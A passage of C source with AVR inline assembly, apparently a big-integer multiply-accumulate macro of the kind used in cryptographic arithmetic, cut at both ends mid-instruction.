r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r2, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r3, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r3, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r4, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r4, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r5, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r5, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r6, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r6, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r7, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r10, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r7, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r8, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r10, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r8, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r9, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r9, x+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r10, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r12, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r10, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r13, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r10, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r14, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r10, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r15, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r10, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r16, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r10, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r17, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r10, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r18, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r10, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r19, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r10, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r20, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r10, r20 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r11, r19 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r2, r18 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r17 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r6, r14 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r9, r21 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r25 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r21, y+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r10, r21 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r11, r20 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r19 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r3, r18 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r4, r17 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r6, r15 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r25 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r12, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r10, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 